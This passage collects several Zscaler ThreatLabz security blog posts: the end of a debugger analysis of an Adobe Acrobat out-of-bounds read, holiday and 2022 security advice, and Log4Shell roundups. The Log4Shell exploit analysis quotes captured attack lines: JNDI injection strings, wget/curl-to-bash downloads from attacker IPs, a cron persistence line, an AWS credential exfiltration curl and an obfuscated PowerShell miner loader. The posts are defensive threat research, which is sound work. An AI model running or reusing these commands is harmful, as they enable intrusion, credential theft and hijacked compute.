operands including “1.050196108SC” as highlighted in Figure 6. Figure 6. Uncompressed stream content in obj 4 in the minimized PoC file Normal stream data for the SC operator is shown in Figure 7. Figure 7. Uncompressed stream content in obj 4 in a normal PDF file The parsing and processing of these abnormal operands for the SC operator are directly related to this vulnerability. In the section of “Proof of Concept”, the methods CPdfPageContentProcessor::ProcessCommandStreamMultiThread and CPdfPageContentProcessor::ProcessGeneralCommand in the stack backtrace stand out. The method CPdfPageContentProcessor::ProcessCommandStreamMultiThread(std::streambuf &) is responsible for processing the command stream of graphic operators and operands. First, it calls the function sub_101288B0() that starts a thread to parse the stream content. The thread calls the function sub_1012AB70(). Finally, in the function sub_1012AB70() it parses each command from the stream content. The call flow graph is shown in Figure 8. Figure 8. The control flows for parsing the PDF stream content The following breakpoint in Figure 9 can be set in order to analyze the memory layout for each command. Figure 9. Breakpoint to analyze the memory layout of the CPdfCmdContext structure After the method CPdfCommandStreamBase::GetNextCmd(CPdfCmdContext &) is called, a breakpoint can be set on the following instruction to analyze the memory layout of the CPdfCmdContext structure. bu PDFLibTool!CPdfPageContentProcessor::~CPdfPageContentProcessor+0x75e ".echo get cmd: ; dd ebp-0x3c L1; .echo Vector<CPdfLexem>; db poi(ebp-0x38) L(poi(ebp-0x34)-poi(ebp-0x38)); gc; " Example output when this breakpoint is hit is shown in Figure 10 with the std::Vector<CPdfLexem> graphic operator objects. Each CPdfLexem object consists of 0x28 bytes that store the operator and its operands. Figure 10. Memory dump for a CPdfCmdContext structure A conditional breakpoint can be set after the method CPdfCommandStreamBase::GetNextCmd(CPdfCmdContext &) finishes parsing the stream content “0.5968767 m.5285492” followed by the stream content “1.050196108SC” to further understand how the invalid data is processed. bu PDFLibTool!CPdfPageContentProcessor::~CPdfPageContentProcessor+0x75e ".echo get cmd: ; dd ebp-0x3c L1; .echo Vector<CPdfLexem>; db poi(ebp-0x38) L(poi(ebp-0x34)-poi(ebp-0x38)); .if(poi(poi(ebp-0x38)+0x20)=0x2a47d227) { .echo 0.5968767 m.5285492 hit; } .else {gc;}" In Figure 11, the memory layout is shown with the members of a CPdfCmdContext structure. Figure 11. The members of a CPdfCmdContext structure After the call to CPdfCommandStreamBase::GetNextCmd(CPdfCmdContext &) the memory layout of std::Vector<CPdfLexem> object contains the stream content “1.050196108SC” as seen in Figure 12. This std::Vector<CPdfLexem> object includes two CPdfLexem objects: the first comes from a single operand, and the second comes from the operator SC. Figure 12. Memory layout of std::Vector<CPdfLexem> for the stream content “1.050196108SC”. The memory layout of the type double 1.050196108 is correct (0x3ff0cd9a6f23f199) as shown in Figure 13 using an online conversion tool. Figure 13. The 1.050196108 double value converted to a hex value The method CPdfPageContentProcessor::ProcessCommandStreamMultiThread(std::streambuf &), obtains all commands via parsing the stream content for graphic operators and operands. Then, it calls CPdfPageContentProcessor::ProcessGeneralCommand(GrStateCommands const &,char const *,std::vector<CPdfLexem> &,int) to process these commands one by one in a loop. Thereby, another conditional breakpoint can be set on the method call CPdfPageContentProcessor::ProcessGeneralCommand(GrStateCommands const &,char const *,std::vector<CPdfLexem> &,int). bu PDFLibTool!CPdfPageContentProcessor::ProcessGeneralCommand ".if(poi(poi(esp+4))=0x23) {.printf \"stream 0x23 \\n\"; .printf \"CPdfPageContentProcessor::ProcessGeneralCommand hit\\n\"; dps esp L7; db poi(esp+8); dd poi(esp+4) L1; }; .else{ gc;}" This function takes 4 parameters. The 1st parameter stores the command number, the 2nd parameter stores the graphic operator, the 3rd parameter is a reference to a std::vector<CPdfLexem> object, and the 4th parameter is the number of operands in this graphic operator. The following output shows when this breakpoint is hit the second time. stream 0x23 CPdfPageContentProcessor::ProcessGeneralCommand hit 04efb85c 84fac398 PDFLibTool!CPdfPageContentProcessor::ProcessCommandStreamMultiThread+0x5a8 04efb860 04efb954 ;1st parameter 04efb864 aaab4fdc ;2nd parameter 04efb868 04efb958 ;3rd parameter 04efb86c 00000001 ;4th parameter 04efb870 39045405 04efb874 50caaff8 aaab4fdc 53 43 00 85 ff ff ff ff-b4 fd c5 a4 40 11 f6 84 SC..........@... aaab4fec 02 00 00 00 0f 00 00 00-00 00 00 00 00 00 00 00 ................ aaab4ffc 00 00 00 00 ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ....???????????? aaab500c ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? aaab501c ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? aaab502c ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? aaab503c ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? aaab504c ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 04efb954 00000023 eax=1103d938 ebx=04efbc70 ecx=04efbc70 edx=55000054 esi=881ec9c0 edi=564c6fb8 eip=84facc80 esp=04efb85c ebp=04efbb84 iopl=0 nv up ei pl zr na pe cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200247 PDFLibTool!CPdfPageContentProcessor::ProcessGeneralCommand: 84facc80 53 push ebx 0:000> db poi(04efb958) aaab4fb0 04 00 00 00 00 f0 1a 85-ff ff ff ff b4 fd c5 a4 ................ aaab4fc0 40 11 f6 84 00 00 00 00-0f 00 00 00 00 00 00 00 @............... aaab4fd0 99 f1 23 6f 9a cd f0 3f-07 00 00 00 53 43 00 85 ..#o...?....SC.. aaab4fe0 ff ff ff ff b4 fd c5 a4-40 11 f6 84 02 00 00 00 ........@....... aaab4ff0 0f 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ aaab5000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? aaab5010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? aaab5020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 0:000> !heap -p -a aaab4fb0 address aaab4fb0 found in _DPH_HEAP_ROOT @ 87a1000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) aa9929f4: aaab4fb0 50 - aaab4000 2000 707ba8b0 verifier!AVrfDebugPageHeapAllocate+0x00000240 7714f10e ntdll!RtlDebugAllocateHeap+0x00000039 770b70f0 ntdll!RtlpAllocateHeap+0x000000f0 770b6e3c ntdll!RtlpAllocateHeapInternal+0x0000104c 770b5dde ntdll!RtlAllocateHeap+0x0000003e 75840166 ucrtbase!_malloc_base+0x00000026 851a1770 PDFLibTool!CxManagedImage::Set+0x000c27b0 84f1df85 PDFLibTool!UnicodeHelper::unicodeStringToPdfUnicodeString+0x00002b25 84f9cb50 PDFLibTool!CPdfCommandStreamBase::GetNextCmd+0x00000240 84faabbe PDFLibTool!CPdfPageContentProcessor::~CPdfPageContentProcessor+0x0000075e 84fa8b08 PDFLibTool!CPdfDocumentImplEx::SetupPageData+0x00000728 75854f9f ucrtbase!thread_start<unsigned int (__stdcall*)(void *),1>+0x0000003f 76f8fa29 KERNEL32!BaseThreadInitThunk+0x00000019 770d7a9e ntdll!__RtlUserThreadStart+0x0000002f 770d7a6e ntdll!_RtlUserThreadStart+0x0000001b 00000000 +0x00000000 In this example, the command number is 0x23. This causes the code to enter the following switch case shown in Figure 14 in the function CPdfPageContentProcessor::ProcessGeneralCommand. Figure 14. The switch case for command 0x23 in CPdfPageContentProcessor::ProcessGeneralCommand This switch code block reads 8 bytes at the offset 0x20 in the std::vector<CPdfLexem> object. The value of the 8 bytes represents the type double 1.050196108. Then it creates a heap buffer with a size of 8 bytes. Next, it copies these 8 bytes from the std::vector<CPdfLexem> object to the newly created heap buffer. Next, it makes an indirect call to the method CPdfPageContentProcessor::SetCurrentColor(int,double *,char const *,int). When it enters into this function CPdfPageContentProcessor::SetCurrentColor, the second parameter is a pointer to a double with the value 1.050196108 as shown in Figure 15. Figure 15. The parameters of CPdfPageContentProcessor::SetCurrentColor In the method CPdfPageContentProcessor::SetCurrentColor, the code calls the method CPdfColorSpace::SetCurrentColorIndirect(CGSColor &,double const *,int,std::string const &). This first parameter is a CGSColor object. The second parameter comes from the 2nd parameter of CPdfPageContentProcessor::SetCurrentColor. The register ECX is the this pointer for a CPdfColorSpace object whose size is 0x60 bytes. The 4 bytes at offset 0x08 in the CPdfColorSpace object represents the number of color components in the color space described by the ICC profile data. In Figure 16, the 4 bytes at offset 0x08 in the CPdfColorSpace object is equal to 0x3. As previously described in Figure 3 and Figure 4, “/N 3” indicates the number of color components in the color space, which explains why the value at offset 0x8 in the CPdfColorSpace object is 0x3. Figure 16. Inspect the parameters of CPdfColorSpace::SetCurrentColorIndirect The function CPdfPageContentProcessor::SetCurrentColor calls the method CPdfColorSpace::SetCurrentColorIndirect. This method tries to read 3 required color components from its second parameter in a loop. However, in the PoC the second parameter stores only one color component. When it tries to read the second color component from the heap buffer, it causes an out-of-bounds read crash as shown in Figure 17. Figure 17. Read color components from a heap buffer This concludes the analysis of this out-of-bounds read vulnerability. In short, due to abnormal SC operands in obj 4 when Adobe Acrobat parses “1.050196108SC”, it converts this stream content to one double type as the only operand of the SC operator. One double type takes 8 bytes. obj 25 declared that in color spaces it required 3 color components (i.e., three operands). Therefore, it tries to read 3 double type values in the heap buffer when it handles the graphic operator SC. This heap buffer only consists of 8 bytes, which subsequently causes an out-of-bounds read crash. Mitigation All users of Adobe Acrobat and Reader are encouraged to upgrade to the latest version of this software. Zscaler’s Advanced Threat Protection and Advanced Cloud Sandbox can protect customers against this vulnerability. References Mon, 31 Jan 2022 08:45:49 -0800 Kai Lu Three Cybersecurity Tips for a Safe and Happy Holiday Security researchers have long marveled at one of the most pervasive and persistent threats that hits each year in late December. Dubbed “Santa Claus,” this North Pole-based adversary uses a Chimney loader to deposit a payload named “presents.exe” before erasing any cookies from the system. Santa Claus is known to target home networks with young end users, impacting hundreds of millions of victims every year. To-date, the Santa Claus attack has not proven to be damaging. In fact, many welcome the puzzling annual intrusion as a ritual of the season. But as security professionals are all too aware, Santa Claus may not be the only adversary that they face over the holidays. Threat actors often time their attacks for when they know security teams will be taking time off and slower to detect, investigate, and respond. We have your back. To make sure you protect yourself this holiday season, keep in mind the following best practices: Make sure you’re current with patches, updates, and backups. The recent Log4j attack served as a very painful reminder of the need to keep up-to-date with application version updates and security patches. Attackers scan for vulnerable applications and infrastructure every day. Before you leave for any holiday break, make sure that your systems are protected from known exploits by updating them, and ensure that you have current backups of your data in case you need them. Update your incident response plan. Your security team (and that of your security partners and vendors) may be slimmed down over the coming weeks, so you should know who is contactable, and how. Assess various attack scenarios and determine whether the holidays impact your incident response and disaster recovery playbooks. Educate users to be cautious while on break. The holidays can mean changes in end user behavior, particularly increases in shopping and travel—both of which pose cybersecurity risks. Educate your users to be wary of seasonal-themed phishing scams. If they are traveling, ensure that they take extra care of the physical security of their devices and to use a proxy if they need to connect to public WiFi. As always, Zscaler will be here actively monitoring and maintaining protections to help keep our customers safe. Should you need us, do not hesitate to reach out. Wishing you and your family a wonderful holiday! For more guidance for the new year based on 2021 attack trends, see “Cybersecurity Lessons to Carry into 2022.” Fri, 24 Dec 2021 16:57:08 -0800 Mark Brozek Cybersecurity Lessons to Carry Into 2022 The end of the year is a time for reflection. In the world of cybersecurity, that means looking back at how the threat landscape has evolved and what changes we can make to better prepare for the year ahead. ThreatLabz monitors security trends every single day, and publishes research throughout the year in addition to using it to continuously improve the protections of our platform. Here are some of the lessons we’ve learned and resulting guidance for the new year ahead. Top attacks in 2021 2021 has been an eventful year with a number of impactful cyberattacks. The biggest and most concerning attacks that we’ve seen have fallen into the following four categories, which we expect to persist as top threats in 2022: Ransomware. 2021 saw a continuation of trends that began in late 2019 with ransomware attacks reaching new levels of sophistication. This includes the prevalence of: Ransomware-as-a-service. Ransomware is no longer being waged by single threat actors. Large market places of for-hire ransomware operators and readymade malware are now available to willing bidders, increasing the size and scope of attacks that can Double-extortion attacks, which now make up over 50% of ransomware attacks. In double-extortion attacks, threat actors steal data in addition to encrypting it, granting them greater leverage to demand large ransoms. Attacks against large enterprises. Due to ransomware-as-a-service and double-extortion trends described above, many large businesses are getting hit by ransomware, often with global impact. Attacks against Colonial Pipeline, CNA Financial, and the Health Service Executive of Ireland are three examples of such high-profile attacks. Supply chain attacks. The State of Encrypted Attacks report revealed that SSL attacks against technology companies increased 2,344% in 2021 when compared to 2020. One big reason is the attractiveness of targeting software code. If attackers can successfully infect the code, they can then wage second-stage “supply chain” attacks on all the software vendor’s customers. Two major examples of this stand out: SolarWinds SUNBURST attack. While technically in 2020, organizations were still dealing with the fallout of the SolarWinds attack well into 2021. In that attack, threat actors exploited a backdoor in the SolarWinds Orion product that pushed malicious code to 18,000 customers. Kaseya attack. The REvil ransomware group exploited a zero-day vulnerability in the Kaseya VSA remote monitoring tool, pushing ransomware out to Kaseya customers. Over 1,000 businesses using the on-premises version of Kaseya software had their data encrypted. Zero-day exploits. Zero days are not unique to 2021, but we may have just experienced the worst one in a decade with the recent Log4Shell attack targeting the highly popular Apache Log4j JAVA library. Earlier this year, we saw the Microsoft Exchange Server attack, which took advantage of not just one but four different vulnerabilities. These incidents underscore the need to reduce your attack surface (particularly by reducing application exposure to the internet), and to limit the impact of any exploits by implementing granular microsegmentation. Advanced persistent threats (APTs). While ransomware has dominated many of the headlines this year, APTs remain the most ominous threats due to their resources and extreme sophistication. In 2021, notable attacks included: Cloudfall, in which the CloudAtlas APT group targeted researchers and scientists with Microsoft Word-based attack. DarkHotel, an APT group that targets executives through luxury hotel WiFi systems. Some of the most concerning trends of this year involved overlaps of the above four categories. An example of this is ransomware gangs' use of supply chain vectors to target large numbers of enterprises, as was evident in the Kaseya supply chain attack. Additionally, nation state actors continued taking advantage of zero day exploits like the Exchange Server vulnerability and, more recently, Log4Shell. Guidance for 2022 To optimize your security posture for 2022, here are the tips we’d recommend to you: Reduce your attack surface. Threat actors can only attack what they can see. Rather than publishing applications to the internet, move them behind a cloud-based proxy that brokers access based on identity and context. Enforce a consistent security policy to prevent initial compromise. With a distributed workforce, it is important for organizations to implement a security service edge (SSE) architecture that can monitor and enforce consistent security policy no matter where the users are working (in-office or remotely). Inspect encrypted traffic. Over 80% of all threats now utilize encrypted channels. Decrypt, detect, and prevent threats in all HTTPS traffic with a cloud-native proxy-based architecture that can inspect all traffic for every user. Quarantine unknown attacks and stop patient-zero malware with an AI-driven sandbox that holds suspicious content for analysis, unlike firewall-based passthrough approaches. Implement zero trust network access (ZTNA) architecture. Segment environments as granularly as possible and implement dynamic least-privileged access controls to eliminate lateral movement and reduce the external attack surface. This includes user-to-app, app-to-app and app-to-internet communications that can disrupt supply chain attacks, among others. Deploy in-line data loss prevention. Inspecting outgoing traffic is as important as inspecting incoming traffic. Prevent exfiltration of sensitive information with trust-based data loss prevention tools and policies to thwart data theft. Keep software and training up-to-date. Apply software security patches and conduct regular security awareness employee training to reduce vulnerabilities that can be exploited by cybercriminals. Have a response plan. Prepare for the worst with cyber-insurance, a data backup plan, and a response plan as part of your overall business continuity and disaster recovery program. Fri, 24 Dec 2021 16:51:55 -0800 Deepen Desai Weekly Roundup: What We’ve Learned About the Log4j Vulnerability ON-DEMAND: Hear from our CISO, Deepen Desai, and Sr. Product Director, Rick Miles, as they discuss Log4Shell and steps your organization should take. It’s been a long week for IT and security professionals as we’ve peeled back the layers of impact resulting from the Log4j vulnerability CVE-2021-44228, dubbed “Log4Shell.” This vulnerability has the highest possible critical severity (CVSS) score of 10.0, a designation that applies to less than 5% of all CVEs ever discovered. Many are saying it’s the worst vulnerability we’ve seen in a decade. We’ve offered a ton of guidance this week about the nature of the exploit, the attacks we’ve seen taking advantage of it, how to assess your impact, and how to use layered defenses grounded in zero trust to protect your organization from this and future vulnerabilities. In this blog, we’ll summarize the latest information and point you to the resources we’ve rolled out as you continue to mitigate the vulnerability and work to improve your risk posture. These resources are also available on Why is Log4Shell so bad? Apache Log4j is an open-source logging library used in millions of JAVA projects, including a substantial percentage of enterprise applications and cloud services. 1,800+ major GitHub repositories have dependencies on the Log4j logging library. Log4j is used to log all sorts of data about how applications are being used, format it, and push it to various destinations. But, Log4j isn’t just a passive logging tool – it actively interprets the data that is being logged. The Log4Shell exploit takes advantage of that feature, allowing attackers to use a specially crafted JNDI string to talk to Log4j. Log4j uses JNDI to perform a request to the attacker site, which then executes the attack payload. Our experts show a live demo of how this works, along with a lot of super valuable information about mitigating and stopping it, in this on-demand webinar. Using this exploit requires very little technical expertise. This was initially discovered in the game Minecraft, in which users were issuing commands simply by using the JNDI string in a chatbox. Security researchers have also shown the ability to issue commands from devices such as iPhones and Tesla vehicles simply by changing the name of the device to the string. Hopefully by now, many companies have taken action to protect their most critical applications and assets by updating their Log4j libraries and applying mitigations. However, the extreme widespread use of Log4j can make it very difficult to hunt down all of its uses within an enterprise. Any server or application that is not actively being maintained is at risk of being exploited by attackers. And, those who have been exploited may have to handle future attacks associated with fingerprinting performed and/or persistence mechanisms implemented by attackers. This exploit will likely haunt security teams for years to come. What kinds of attacks have we seen? We’re only scratching the surface of the attacks that will leverage this exploit. So far, the greatest number of hits are from scanners, as both attackers and security research teams race to identify vulnerable systems. We’ve seen a high volume of activity associated with botnets, particularly Mirai and Kinsing (cryptomining). Other payloads we’ve observed have included the use of CobaltStrike, and there have been reports of brand new ransomware families that have emerged using this exploit. In the ThreatLabz exploit analysis blog, we break down the exploits we’ve seen and go in-depth into the attack chains of some of the most prevalent ones. We will continue to update this analysis blog as needed. ThreatLabz also tapped into our global mesh of decoys to assess exploit activity, and found that testing and development environments are being targeted at the highest rates, presumably as they are lower on the patching priority list. Am I impacted? If you are a Zscaler customer, it’s important to note that there has been no impact to Zscaler services as a result of this exploit. The ThreatLabz security advisory blog includes detailed guidance on identifying any vulnerable versions of Log4j in your environment. You can also use our complimentary attack surface analysis tool to see if you have any external attack surface using Apache. What should I do? As outlined in the ThreatLabz security advisory blog, the first thing to do is ensure that you’ve updated, patched, and/or taken mitigation actions for all vulnerable Log4j servers. Then, it’s time to think about strengthening your security posture. Zero day vulnerabilities, by definition, have never been seen before. Do you really want to gamble that your security controls are going to be up to snuff against novel attacks? The best way to protect your organization and its valuable assets is by deploying a true Zero Trust Network Architecture that eliminates the ability for attackers to exploit back doors and limits lateral movement by: Minimizing your attack surface and making apps invisible. Ensuring only authorized users can access apps. Detecting and blocking malicious activity. Preventing lateral movement with user-to-app and app-to-app microsegmentation. Read more about how and why this beats out a legacy VPN approach in this blog. Deception is a simple and effective approach to threat detection that uses decoy/honeypots to intercept attacks and divert them away from whatever asset they were originally targeting. Deception is particularly effective against zero days as it doesn’t require any prior knowledge of the threats to detect an attack: ANY interaction with a decoy sends a clear signal to security teams that malicious activity is underway. We are seeing more and more security teams recognize how critical a role deception can play within their zero trust deployments. Read how you can use it here. Many security solutions focus on user-to-app communications, but app-to-app communications are equally as important, particularly in mitigating the impact of supply chain attacks. See how you can use identity-based segmentation to protect your apps and workloads. Fri, 17 Dec 2021 11:39:27 -0800 Mark Brozek ThreatLabz analysis - Log4Shell CVE-2021-44228 Exploit Attempts The Zscaler ThreatLabz team has been actively monitoring exploit attempts related to the Apache Log4j 0-day Remote Code Execution Vulnerability (CVE-2021-44228), also known as “Log4Shell.” In this blog we will share our analysis of the exploit payloads being delivered using this vulnerability. We will continue to update this blog and share more details as we uncover them during our analysis. Threatlabz has also published a security advisory related to this vulnerability. What is causing this vulnerability? There is a flaw in the Log4j logging library (version 2.0 to 2.15) where an attacker can control log message parameters to execute arbitrary code loaded from various JNDI endpoints such as HTTP, LDAP, LDAPS, RMI, DNS, IIOP, etc. A majority of the exploit payloads seen early on after the patch was released by Apache used HTTP and LDAP protocols to fetch malicious payloads from attacker server. However, we have now started seeing the use of additional protocols including RMI, DNS, and IIOP to download malicious payloads onto vulnerable servers. Log4j Exploit chain: how it works The attacker sends maliciously crafted HTTP requests to a web application server running the vulnerable Log4j utility. Once the request is received, Log4j tries to load the JNDI resource from an attacker-controlled server and—depending upon the type of protocol used—loads additional components. These components can include a shell script or a java class that can write a file to disk or memory and executes the final payload. We have observed multiple botnets including Mirai and Kinsing (cryptomining) leveraging this Log4j exploit to target vulnerable servers on the Internet. In addition to the Mirai and Kinsing families, we have also seen reports of CobaltStrike and ransomware-related activity from these exploits. Exploit Commands Observed ${jndi:ldap:// > wget http://62.210.130[.]250/;chmod +x;./ ${jndi:ldap:// > wget -q -O- http://62.210.130[.]250/|bash ${jndi:ldap:// > (curl -s 92.242.40[.]21/||wget -q -O- 92.242.40[.]21/ Threat actors also appear to be leveraging network fingerprinting techniques before serving stage 2 payloads. The injected command will include the victim server IP/Port information that will be checked before serving malicious payloads as seen below. ${jndi:ldap://… > (curl -s 45.155.205[.]233:5874/<VICTIME-IP:PORT>||wget -q -O- 45.155.205[.]233:5874/<VICTIME-IP:PORT>)|bash Payload analysis #1 Mirai Botnet Shell Script (MD5: cf2ce888781958e929be430de173a0f8) is downloaded from 62.210.130[.]250 (attacker server). This bash script when executed will further download multiple linux binary payloads on the victim machine. The script also sets execute permissions for the downloaded payloads and runs them. wget http://62.210.130[.]250/web/admin/x86;chmod +x x86;./x86 x86; wget http://62.210.130[.]250/web/admin/x86_g;chmod +x x86_g;./x86_g x86_g; wget http://62.210.130[.]250/web/admin/x86_64;chmod +x x86_64;./x86_g x86_64; All of these binaries belong to the Mirai botnet family and share the same code structure. They are compiled for different architectures - x86 32-bit, 64-bit. There is no code to check the architecture; instead the attacker intends to run all binaries hoping one of them will be successful. These Mirai binaries were configured to communicate with C2 domain nazi[.]uy on port 25565 and are capable of supporting following commands from the Attacker: UDP flood SYN flood ACK flood TCP stomp flood GRE IP flood Connect flood #2 Kinsing Malware Shell Script (MD5: 0579a8907f34236b754b07331685d79e) is downloaded from 92.242.40[.]21/ it belongs to the Kinsing malware family which essentially is a coinminer with rootkit capabilities. The stage 1 bash script ( will stop and disable multiple security processes on the victim server before downloading the Kinsing binary. This is to ensure that the malicious payload is not detected and blocked from execution. Kinsing is a Golang-based coin miner as shown below: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=DhskS7dCbYzdqxBh_mSk/76qVIoHRKN1NNcfL8ADh/W157t201-UbEisb9Xatk/hOMqvN1a69kKMwHq_e_v, stripped The bash script will also establish persistence by adding a cronjob that will periodically download and execute updated versions of the bash script from a remote location. Persistence if [ $? -eq 0 ]; then echo "cron good" else ( crontab -l 2>/dev/null echo "* * * * * $LDR http://185.191.32[.]198/ | sh > /dev/null 2>&1" ) | crontab - fi history -c rm -rf ~/.bash_history history -c Here, $LDR value is derived from the victim environment and can either be "wget -q -O -" or “curl” 185.191.32[.]198/ downloads and executes the latest Kinsing binary but from 80.71.158[.]12/kinsing #3 Credential Stealing We also observed a few instances where AWS credentials are being stolen and sent to attacker controlled domain ${jndi:ldap://… > curl -d "$(cat ~/.aws/credentials)" https://c6td5me2vtc0000aq690gdpg14eyyyyyb[.]interactsh[.]com #4 Monero Miner We noticed that the exploitation is not just impacting Linux servers but also targeting Windows servers running vulnerable versions. Windows batch file mine.bat (MD5: 3814f201a07cf1a2d5c837c8caeb912f) is downloaded from lurchmath[.]org/wordpress-temp/wp-content/plugins/mine.bat via Powershell. The download file belongs to Monero Miner and uses wallet address 42JKzDhbU76Wbf7JSDhomw6utwLr3N8tjZXLzLwvTcPuP5ZGZiJAHwnD7dNf2ZSAh52i9cUefq2nmLK3azKBffkBMX5b1LY ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://142.44.203[.]85:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtQ29t... > powershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('http://lurchmath[.]org/ wordpress-temp/wp-content/plugins/mine.bat', $tempfile); & $tempfile 42JKzDhbU76Wbf7JSDhomw6utwLr3N8tjZXLzLwvTcPuP5ZGZiJAHwnD7dNf2ZSAh52i9cUefq2nmLK3azKBffkBMX5b1LY; Remove-Item -Force $tempfile" In comparison, mine.bat is similar to what is found on hxxps:// More updates to follow. Zscaler Detections ThreatName DetectionID Type Of Detection Apache.Exploit.CVE-2021-44228 47673 IPS Web - User-Agent Apache.Exploit.CVE-2021-44228 47674 IPS Web - User-Agent Apache.Exploit.CVE-2021-44228 47675 IPS Web - User-Agent Apache.Exploit.CVE-2021-44228 47676 IPS Web - User-Agent Apache.Exploit.CVE-2021-44228 47677 IPS Web - User-Agent Apache.Exploit.CVE-2021-44228 47707 IPS Web - URL Apache.Exploit.CVE-2021-44228 47708 IPS Web - User-Agent Apache.Exploit.CVE-2021-44228 47711 IPS Web - User-Agent Apache.Exploit.CVE-2021-44228 47801 IPS Web - User-Agent Apache.Exploit.CVE-2021-44228 124803 File-Content (Yara) Apache.Exploit.CVE-2021-44228 - FIle Reputation Linux.Trojan.Mirai - File Reputation Linux.Trojan.Mirai.LZ - URL Reputation Linux.Rootkit.Kinsing - File Reputation Linux.Rootkit.Kinsing.LZ - URL Reputation Indicators Of Compromise Mirai Samples 40e3b969906c1a3315e821a8461216bb 6d275af23910c5a31b2d9684bbb9c6f3 1348a00488a5b3097681b6463321d84c Mirai C2 nazi[.]uy Mirai Download URLs 62.210.130[.]250/web/admin/x86 62.210.130[.]250/web/admin/x86_g 62.210.130[.]250/web/admin/x86_64 Kinsing Samples 648effa354b3cbaad87b45f48d59c616 Kinsing Shell Scripts 92.242.40[.]21/ 80.71.158[.]12/ Kinsing Download URLs 92.242.40[.]21/kinsing 80.71.158[.]12/kinsing Persistence 185.191.32[.]198/ Top Exploit Server IPs/Domains 18.185.60[.]131:1389 37.233.99[.]127:1389 45.137.21[.]9:1389 45.155.205[.]233:12344 45.155.205[.]233:5874 78.31.71[.]248:1389 92.242.40[.]21:5557 176.32.33[.]14 178.62.74[.]211:8888 198.152.7[.]67:54737 205.185.115[.]217:47324 qloi8d.dnslog[.]cn u7911j.dnslog[.]cn 90d744e.probe001[.]log4j[.]leakix[.]net:1266 372d7648[.]probe001[.]log4j[.]leakix[.]net:9200 4a3b19ce6368.bingsearchlib[.]com:39356 Monero Miner lurchmath[.]org/wordpress-temp/wp-content/plugins/ Wallet: 42JKzDhbU76Wbf7JSDhomw6utwLr3N8tjZXLzLwvTcPuP5ZGZiJAHwnD7dNf2ZSAh52i9cUefq2nmLK3azKBffkBMX5b1LY References Wed, 15 Dec 2021 18:18:44 -0800 Rubin Azad Neutralizing Apache Log4j Exploits with Identity-Based Segmentation On December 11, Zscaler’s TheatLabz observed exploit attempts of the Log4j in the wild, analyzed the vulnerability, and recommended protection strategies. Read the blogs here and here. Among the recommendations to mitigate the impact of the vulnerability was to apply app-to-app microsegmentation using identity. This post explains why identity-based segmentation is superior to traditional firewall-based segmentation in preventing initial compromise and stopping lateral movement of threats from a compromised workload. Traditional address-based segmentation uses L3/L4 based host firewalls rules to control what’s being communicated. This approach is ineffective because an IP address does not reveal what software is communicating. Even L7 firewalls looking at protocol information are unable to conclusively determine the identity of the communicating software. For example, if a Log4j server is compromised and malicious code has been remotely executed, the malicious code could piggyback on approved firewall policies to move laterally in the environment. In this attack scenario below, in Phase 2, the compromised Log4j server—after the final payload has been delivered—could allow threats to move laterally. Image: Fastly An identity-based segmentation solution would help prevent or contain the blast radius of the exploit. First let’s understand how identity-based segmentation works. This blog post “Identity-Based Microsegmentation is Foundational to Cloud Security: Don’t Get Spoofed” from Zscaler explains it in detail. Here is a relevant excerpt: "To enable identity-based microsegmentation, each device and software asset is assigned an immutable, unique identity based on dozens of properties of the asset itself, such as a SHA-256 hash of a binary or the UUID of the BIOS. Identities extend down to the subprocess level, so we can uniquely identify even individual Java JAR and Python scripts. Identity creation and management is fully automated to simplify operations. Zscaler verifies the identities of communicating software in real time. This zero trust approach prevents unapproved and malicious software from communicating. Piggybacking attacks using approved firewall rules become a thing of the past. Identity is the secret to achieving simpler operations and delivering stronger protection compared to traditional network security controls." In the exploit example (image above), if identity-based segmentation had been in place with least-privilege enforcement, attack risk could be reduced through multiple layers of defense: Initial inbound connectivity would not be allowed as the attacker’s IP would not be in the allowed policy. Because the host that receives the inbound connection is protected by software identity, indiscriminate access to the system is not allowed. Outbound communication from the vulnerable server to unknown external entities would not be allowed by policy–again enforced by software identity verification. If the final payload is executed, its lateral propagation would not be allowed because the malicious communicating software would be fingerprinted before it attempts to communicate to other systems. First, Zscaler’s identity-based segmentation solution checks the fingerprint against Zscaler’s threat feeds and if it is reported as malicious, administrators are notified and any software not allowed by policy is automatically blocked. All communication by the software is blocked and the admin is notified. Zscaler ThreatLabz has identified several exploit signatures described here and in the Zscaler Threat Library. Other approved software running on the host is allowed to communicate with no disruption to the business. If “living off the land” attack techniques are used where legitimate or approved software is used for an attack, Zscaler’s segmentation solution analyzes communication patterns of approved software and blocks any communication to other systems within the environment if the communication is not allowed by the least-privilege access policy set. Any attempts at exfiltration of information is also blocked as it would not be allowed by the segmentation policy for outbound communications. Even if an environment has not been attacked, Zscaler Workload Segmentation can help inventory all vulnerable Log4j systems that communicate in the environment using software fingerprint hashes which can be retrieved via an API and compared against publicly available hashes, e.g., in Github. A Randori blog post on Log4j notes “The presence of JAR files belonging to the Log4j library can indicate an application is potentially susceptible to CVE-2021-44228. The specific files to search for should match the following following pattern: “log4j-core-*.jar”. Unlike legacy approaches, Zscaler Workload Segmentation extends identity down to the sub-process level–e.g., not just Java but individual JAR files–which allows for fine-grained control over communicating software. Zscaler also inventories the primary JAR files allowing admins to gain a better understanding of their environment and application communication topology. Finally, no security 